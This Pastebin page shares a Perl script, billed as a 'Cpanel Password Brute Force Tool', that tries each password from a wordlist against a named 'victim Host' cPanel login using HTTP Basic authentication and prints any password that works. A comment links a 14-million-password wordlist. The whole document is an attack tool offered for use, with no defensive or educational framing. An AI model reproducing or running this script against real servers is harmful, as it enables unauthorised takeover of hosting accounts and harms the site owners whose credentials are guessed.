Advertisement
RoryPrayana

Cpanel bruteforce recoded

May 27th, 2015
973
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.39 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Cpanel Password Brute Forcer
  3. # ----------------------------
  4. #    re(c)oded By JOK3D
  5. # Perl Version ( low speed ) wordlist http://www.mediafire.com/download/glyzo6ubjgo0n7k/14+million+pass.rar
  6. # Original Advisory : Ycfd Association
  7. # https://roryprayana.org
  8. use IO::Socket;
  9. use LWP::Simple;
  10. use MIME::Base64;
  11.  
  12. $host     = $ARGV[0];
  13. $user     = $ARGV[1];
  14. $port     = $ARGV[2];
  15. $list     = $ARGV[3];
  16. $file     = $ARGV[4];
  17. $url = "http://".$host.":".$port;
  18. if(@ARGV < 3){
  19. print q(
  20. ###############################################################
  21. #               Cpanel Password Brute Force Tool              #
  22. ###############################################################
  23. #     usage : cpanel.pl [HOST] [User] [PORT] [list] [File]    #
  24. #-------------------------------------------------------------#
  25. #    [Host] : victim Host             (contoh.com)            #
  26. #    [User] : User Name               (demo)                  #
  27. #    [PORT] : Port of Cpanel          (2082)                  #
  28. #    [list] : File Of password list   (list.txt)              #
  29. #    [File] : file for save password  (password.txt)          #
  30. #                                                             #
  31. ###############################################################
  32. #            re(c)oded By JOK3D / roryprayana.org             #
  33. ###############################################################
  34. );exit;}
  35.  
  36. headx();
  37.  
  38. $numstart  = "-1";
  39.  
  40. sub headx() {
  41. print q(
  42. ###############################################################
  43. #              Cpanel Password Brute Force Tool               #
  44. #            re(c)oded By JOK3D / roryprayana.org             #
  45. ###############################################################
  46. );
  47. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  48. @PASSWORDS = <PASSFILE>;
  49. close PASSFILE;
  50. foreach my $P (@PASSWORDS) {
  51. chomp $P;
  52. $passwd = $P;
  53. print "\n [~] Try Password : $passwd \n";
  54. &brut;
  55. };
  56. }
  57. sub brut() {
  58. $authx = encode_base64($user.":".$passwd);
  59. print $authx;
  60. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
  61. print $sock "GET / HTTP/1.1\n";
  62. print $sock "Authorization: Basic $authx\n";
  63. print $sock "Connection: Close\n\n";
  64. read  $sock, $answer, 128;
  65. close($sock);
  66.  
  67. if ($answer =~ /Moved/) {
  68. print "\n [~] PASSWORD FOUND : $passwd \n";
  69. exit();
  70. }
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement